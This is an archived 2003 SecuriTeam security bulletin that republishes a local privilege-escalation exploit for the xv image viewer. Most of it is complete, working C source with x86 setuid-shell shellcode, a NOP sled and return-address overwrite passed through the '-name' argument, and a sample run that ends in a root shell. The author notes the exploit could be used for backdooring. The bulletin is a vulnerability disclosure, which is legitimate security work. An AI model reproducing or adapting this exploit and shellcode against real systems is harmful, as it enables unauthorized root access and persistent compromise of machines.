

# [EXPL] xv Local Exploit (-name Variable)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0032.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 08/13/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Aug 2003 12:29:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

-----  
xv Local Exploit (-name Variable)  
-----

## SUMMARY

There exists a buffer overflow vulnerability in the picture viewing program `<http://www.trilon.com/xv/> xv`. As far as it is known, version 3.10 is affected by the vulnerability. This is a proof of concept local exploit tested on Slackware [kernel 2.4.20].

## DETAILS

Exploit:

/\*

Linux x86 "xv" local exploit

author: dodo <[dodo@darkwired.org](mailto:dodo@darkwired.org)>

tested on: Slackware Linux (2.4.20), `xv` 'version 3.10'

date: 01-08-2003

notes:

could be used for backdooring purposes..

greet to everyone @ #darkwired

## Securiteam: [EXPL] xv Local Exploit (-name Variable)

thanks to tsunami <tsunami@darkwired.org>

```
root@comprak:/dodo/edu/xv$ chmod a+s /usr/X11/bin/xv
dodo@comprak:/dodo/edu/xv$ ./dw-bof-xv
sh-2.05b# id
uid=0(root) gid=10(wheel) groups=10(wheel)
```

usage:

```
./dw-bof-xv [offset]
```

Slackware Linux offset: -200

contact:

<http://www.darkwired.org/>

dodo@darkwired.org

ssl-irc: irc.darkwired.org #darkwired

\*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <unistd.h>
```

```
#define BSIZE 256
```

```
static char shellcode[]=
```

```
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
```

```
"\xeb\x17\x5e\x89\x76\x08\x31\xc0"
```

```
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

```
"\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
```

```
"\x80\xe8\xe4\xff\xff\xff\x2f\x62"
```

```
"\x69\x6e\x2f\x73\x68\x58";
```

```
unsigned long get_sp(void)
```

```
{
    __asm__("movl %esp, %eax");
}
```

```
int main(int argc, char *argv[])
```

```
{
    char buffer[BSIZE+64];
    unsigned long sp = get_sp(), i;
    signed long offset = -200;
    if(argc>1) offset = atoi(argv[1]);
    sp = sp - offset;
```

```
//making our buffer
```

```
memset(buffer, 0x90, sizeof(buffer)); //glijbaan
```

```
memcpy(buffer+((BSIZE-strlen(shellcode))-16), (char *)&shellcode,
strlen(shellcode));
```

```
for(
```

```
    i = BSIZE-8;
```

```
    (BSIZE-8)+16*sizeof(sp) > i; //putting some return addresses
```

Securiteam: [EXPL] xv Local Exploit (-name Variable)

```
i+=sizeof(sp) {
  *(long *)&buffer[i] = sp;
}
memset(buffer+sizeof(buffer), 0x0, 1);

if(setenv("DODO", buffer, 1)==-1) return -1;
system("xv -name $DODO");
return 1;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:dodo@darkwired.org> dodo.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.